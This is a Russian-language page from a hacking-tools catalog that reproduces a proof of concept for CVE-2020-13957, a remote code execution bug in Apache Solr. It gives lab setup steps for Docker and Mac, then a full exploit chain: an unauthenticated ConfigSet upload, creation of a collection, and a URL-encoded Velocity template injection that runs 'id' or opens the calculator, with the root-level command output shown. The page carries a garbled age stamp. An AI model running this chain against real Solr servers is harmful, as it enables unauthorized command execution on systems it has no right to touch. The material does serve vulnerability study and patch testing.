Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-13957 — Apache Solr RCE CVE-2020-13957 | Kitploit
Инструменты/GitHubGitHub/s-index/cve-2020-13957
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеЛаборатории и Практика
GitHubs-index/cve-2020-13957

CVE-2020-13957

Apache Solr RCE CVE-2020-13957

Репозиторий
1135 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Apache Solr RCE CVE-2020-13957

Демо в Docker

docker-demo

Демо на Mac

mac-demo

Описание NVD CVE-2020-13957

NVD CVE-2020-13957

root@kitploit:~
Apache Solr versions 6.6.0 to 6.6.6, 7.0.0 to 7.7.3 and 8.0.0 to 8.6.2 prevents some features considered dangerous (which could be used for remote code execution) to be configured in a ConfigSet that's uploaded via API without authentication/authorization. The checks in place to prevent such features can be circumvented by using a combination of UPLOAD/CREATE actions.

Docker

Настройка среды PoC

1. Соберите образ из Dockerfile

root@kitploit:~
$ docker build -t cve-2020-13957 .

2. Запустите /bin/bash в новом контейнере

Скачать инструмент
root@kitploit:~
$ docker run --rm -p 8983:8983 --name cve-2020-13957 -it cve-2020-13957 /bin/bash

3. Запустите Apache Solr Cloud в контейнере

root@kitploit:~
$ ./solr start -e cloud -noprompt -force

Эксплуатация

1. Загрузите ConfigSet

Руководство Apache Solr Upload a ConfigSet

root@kitploit:~
$ curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=myConfigSet"

2. Создайте коллекцию

Руководство Apache Solr Create a Collection

root@kitploit:~
$ curl "http://localhost:8983/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSet"

3. Выполните команду id

root@kitploit:~
$ curl "http://localhost:8983/solr/newCollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x%3d%27%27)+%23set(%24rt%3d%24x.class.forName(%27java.lang.Runtime%27))+%23set(%24chr%3d%24x.class.forName(%27java.lang.Character%27))+%23set(%24str%3d%24x.class.forName(%27java.lang.String%27))+%23set(%24ex%3d%24rt.getRuntime().exec(%27id%27))+%24ex.waitFor()+%23set(%24out%3d%24ex.getInputStream())+%23foreach(%24i+in+%5b1..%24out.available()%5d)%24str.valueOf(%24chr.toChars(%24out.read()))%23end"

Вывод

root@kitploit:~
     0  uid=0(root) gid=0(root) groups=0(root)

Mac

Настройка среды PoC

1. Скачайте Apache Solr

root@kitploit:~
$ curl -OL https://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.tgz

2. Распакуйте

root@kitploit:~
$ tar -xzvf solr-8.2.0.tgz

3. Запустите Apache Solr Cloud

root@kitploit:~
$ solr-8.2.0/bin/solr start -e cloud -noprompt -force

Эксплуатация

1. Загрузите ConfigSet

Руководство Apache Solr Upload a ConfigSet

root@kitploit:~
$ curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=myConfigSet"

2. Создайте коллекцию

Руководство Apache Solr Create a Collection

root@kitploit:~
$ curl "http://localhost:8983/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSet"

3. Откройте Calc

root@kitploit:~
$ curl "http://localhost:8983/solr/newCollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x%3d%27%27)+%23set(%24rt%3d%24x.class.forName(%27java.lang.Runtime%27))+%23set(%24chr%3d%24x.class.forName(%27java.lang.Character%27))+%23set(%24str%3d%24x.class.forName(%27java.lang.String%27))+%23set(%24ex%3d%24rt.getRuntime().exec(%27open+-a+calculator%27))+%24ex.waitFor()+%23set(%24out%3d%24ex.getInputStream())+%23foreach(%24i+in+%5b1..%24out.available()%5d)%24str.valueOf(%24chr.toChars(%24out.read()))%23end"

Ссылки

  • https://github.com/Imanfeng/Apache-Solr-RCE#cve-2020-13957